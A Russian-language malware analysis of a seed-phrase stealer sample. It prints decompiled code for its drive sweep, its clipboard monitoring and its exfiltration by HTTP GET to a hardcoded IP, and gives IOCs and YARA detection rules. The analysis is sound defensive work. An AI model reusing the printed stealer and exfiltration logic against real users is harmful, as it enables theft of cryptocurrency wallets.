MalwareBazaar Sample #2
1 | Intro
02479b50896ebe3d90514056603edb2ba16394bfe2249e1eca795667f8ca1508
- это простой стилер мнемонических фраз. Ни упаковки, ни обфускации, ни
персистентности. Все функции делают ровно то, что написано в их
именах.
Функциональность: один раз обходит все диски в поисках seed-фраз в файлах, дальше бесконечно мониторит буфер обмена. Всё найденное уходит GET-запросом на захардкоженный IP.
2 | Code
int __stdcall wWinMain(...)
{
Sleep(0x7D0u); // 2 секунды
MutexA = CreateMutexA(0, 0, "TCOIN");
if ( !MutexA ) ExitProcess(1u);
if ( GetLastError() == 183 ) ExitProcess(0); // ERROR_ALREADY_EXISTS
if ( sub_401000(MutexA) )
CreateThread(0, 0, StartAddress, 0, 0, 0); // обход дисков
while ( 1 ) {
sub_401530(); // буфер обмена
Sleep(0x7D0u);
}
}Всё устройство программы видно сразу:
Sleep(2000)попытка пересидеть песочницу- мьютекс
TCOIN- чтобы не было два инстанса, имя hardcoded - отдельный поток на разовый обход дисков, основной поток - вечный цикл опроса буфера обмена раз в две секунды
Имя мьютекса дает имя семейству в этом разборе: публичного названия у него нет (об этом в конце).
2.1 | Scan once
char sub_401000()
{
if ( !ExpandEnvironmentStringsW(L"%appdata%", Dst, 0x104u) ) return 0;
PathCombineW(Dst, Dst, L"6636346.txt");
if ( PathFileExistsW(Dst) ) return 0; // уже сканировали
hObject = CreateFileW(Dst, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, ...);
if ( hObject != INVALID_HANDLE_VALUE ) CloseHandle(hObject);
return 1;
}Пустой файл %APPDATA%\6636346.txt - флаг “полный обход
дисков уже выполнен”. Есть файл
поток не запускается, работает только клиппер. Логика: рекурсивный обход
всех дисков стоит дорого и заметен по I/O.
2.2 | Какие диски обходить
int sub_401FB0() // логические диски за вычетом скрытых политикой
{
LogicalDrives = GetLogicalDrives();
hKey[0] = HKEY_LOCAL_MACHINE; hKey[1] = HKEY_CURRENT_USER;
for ( i = 0; i < 2; ++i ) {
RegOpenKeyExW(hKey[i],
L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", ...);
RegQueryValueExW(phkResult, L"NoDrives", ...);
v6 |= *(_DWORD *)Data;
}
return LogicalDrives & ~v6;
}NoDrives - политика, скрывающая буквы дисков в
проводнике. Малварь читает её и исключает такие диски из обхода.
Смысла в этом нет: скрытые диски содержат данные не хуже остальных. Похоже на копирование кода из какого-то легитимного примера перечисления дисков.
Дальше фильтр по типу:
v2 = sub_401ED0(v4, i, pszDir);
if ( v2 >= 2 && v2 <= 4 ) // REMOVABLE, FIXED, REMOTE
sub_401A20(pszDir);То есть removable, fixed (локальные) и сетевые диски. CD-ROM и RAM-диски пропускаются.
Функция sub_401F30 дополнительно проверяет через
QueryDosDeviceW, что устройство резолвится в
\??\ - для стрипа виртуальных и подставных букв
2.3 | Обход файловой системы
BOOL sub_401A20(LPCWSTR pszDir)
{
SubStr[0] = L"windows"; SubStr[1] = L"boot";
SubStr[2] = L"perflogs"; SubStr[3] = L"intel";
SubStr[4] = L"msocache"; SubStr[5] = L"$recycle.bin";
...Рекурсия по каталогам с чёрным списком. Исключения - системные каталоги, где пользовательских документов не бывает (наверное для экономии времени)
Список расширений:
.txt .doc .sql .md .ini .rtf .csv .xls .xlsx .mnemonic .json
.eml .msg .log .mbox .xml .yaml .yml .tsv .plist
.bat .cmd .sh .php .asp .jsp .html .htm
Три группы:
- Документы
- Почта (
.eml,.msg,.mbox) - Исходники и конфиги (
.php,.json,.yml,.sh)
.mnemonic - расширение, которое существует практически
только в контексте криптокошельков. Цель программы именно мнемонические
фразы, а не кошельки
2.4 | Как распознаётся seed-фраза
Подсчет слов, проверка длины
v8 = sub_401120(Buffer); // количество слов
for ( i = 0; i < 5; ++i )
if ( v8 == dword_40A188[i] ) { ... }Массив из пяти значений - это допустимые длины BIP-39:
12, 15, 18, 21, 24. В коде работы с буфером обмена они
выписаны явно:
if ( v19 == 12 || v19 == 15 || v19 == 18 || v19 == 21 || v19 == 24 )2.5 | Проверка is_word_in_dict
char sub_401280(int a1, int a2)
{
for ( i = 0; i < a2; ++i ) {
v4 = 0;
for ( j = 0; j < 0x800; ++j ) // 0x800 = 2048
if ( !wcscmp(*(const wchar_t **)(a1 + 4 * i), (&String2)[j]) ) { v4 = 1; break; }
if ( !v4 ) return 0; // хоть одно слово не из словаря
}
return 1;
}0x800 = 2048 - размер английского словаря BIP-39. Он
вшит в бинарь массивом широких строк начиная с String2.
Алгоритм: линейный поиск каждого слова по всему словарю, то есть до
2048 вызовов wcscmp на слово и до 49 152 на фразу из 24
слов, что в итоге приводит к неэффективности малвари + дает большую
нагрузку на комп. Можно было сделать хеш-таблицу/бинарный поиск, и т.д +
стоит отметить что в BIP-39 последнее слово содержит контрольную сумму
от энтропии. Автор его не проверяет, на сервер полетит и просто текст,
случайно состоящий из 12 английских слов, входящих в список.
2.6 | Мониторинг буфера обмена
char sub_401530()
{
if ( !OpenClipboard(0) ) return 0;
hMem = GetClipboardData(0xDu); // CF_UNICODETEXT
...
for ( i = v21; *i; ++i ) { // учет пробелов
...
if ( v19 > 24 ) { ...; return 0; } // больше 24 слов - не фраза
}Читает Unicode-текст, схлопывает пробельные последовательности в одиночные пробелы, считает слова.
Проверка через буфер, без нее одна фраза бы спамилась каждый beacon tick (2 sec):
if ( !wcscmp(String1, word_40D028) ) return 0; // то же, что в прошлый раз
wsprintfW(word_40D028, L"%s", String1);2.7 | Exfiltration
Комментарии излишни.
BOOL sub_4010A0(int a1)
{
wsprintfW(szUrl, L"http://178.16.54.109/tcoin.php?s=%s", a1);
hInternet = InternetOpenW(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
L"(KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36", 0,0,0,0);
if ( hInternet ) {
v4 = InternetOpenUrlW(hInternet, szUrl, 0, 0, 0, 0);
InternetCloseHandle(v4);
}
return InternetCloseHandle(hInternet);
}Простой HTTP запрос, GET с фразой в query string (значит видно в логах), айпи хардкод, проверка на UA. Дампится успешный match на сервер, без фидбека (InternetOpenW сразу закрывается) это даже не С2.
3 | IOCs
Файл
SHA-256 02479b50896ebe3d90514056603edb2ba16394bfe2249e1eca795667f8ca1508
(i386)
Сеть/C2
http://178.16.54.109/tcoin.php?s=<seed phrase, URL-encoded>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Хост
Мьютекс: TCOIN
Файл: %APPDATA%\6636346.txt (пустой, маркер выполненного обхода)
4 | Детект
На этот семпл:
rule TCOIN_SeedStealer
{
meta:
description = "Seed phrase stealer, clipboard + filesystem sweep"
reference = "seinsverlassenheit.ru"
hash = "02479b50896ebe3d90514056603edb2ba16394bfe2249e1eca795667f8ca1508"
strings:
$mutex = "TCOIN" ascii fullword
$marker = "6636346.txt" wide
$url = "/tcoin.php?s=%s" wide
$ip = "178.16.54.109" wide
// необычные расширения
$ext1 = ".mnemonic" wide
$ext2 = ".mbox" wide
condition:
uint16(0) == 0x5A4D
and filesize < 200KB
and ( ($mutex and $marker) or $url or ($ip and $ext1) )
}
Правило на класс:
rule Generic_BIP39_Wordlist
{
meta:
description = "BIP39 is present"
note = ""
strings:
// первые и последние слова списка + редкие середины
$w1 = "abandon" wide
$w2 = "ability" wide
$w3 = "zebra" wide
$w4 = "zoo" wide
$w5 = "mnemonic" wide nocase
// маркеры длин фразы рядом в коде
$len = { 0C 00 00 00 0F 00 00 00 12 00 00 00 15 00 00 00 18 00 00 00 }
condition:
uint16(0) == 0x5A4D
and filesize < 5MB
and ( (all of ($w1, $w2, $w3, $w4)) or ($len and 2 of ($w*)) )
}
$len - тот массив dword_40A188 с длинами
12/15/18/21/24 подряд. Т.к словарь + массив длин фраз не может юзаться в
легитимных программах, т.к настоящий кошелёк проверяет checksum
todo: (Sigma) процесс с gui , открывает WININET на hardcoded IP, при
этом открывал %APPDATA%\ХХХ.txt + мьютекс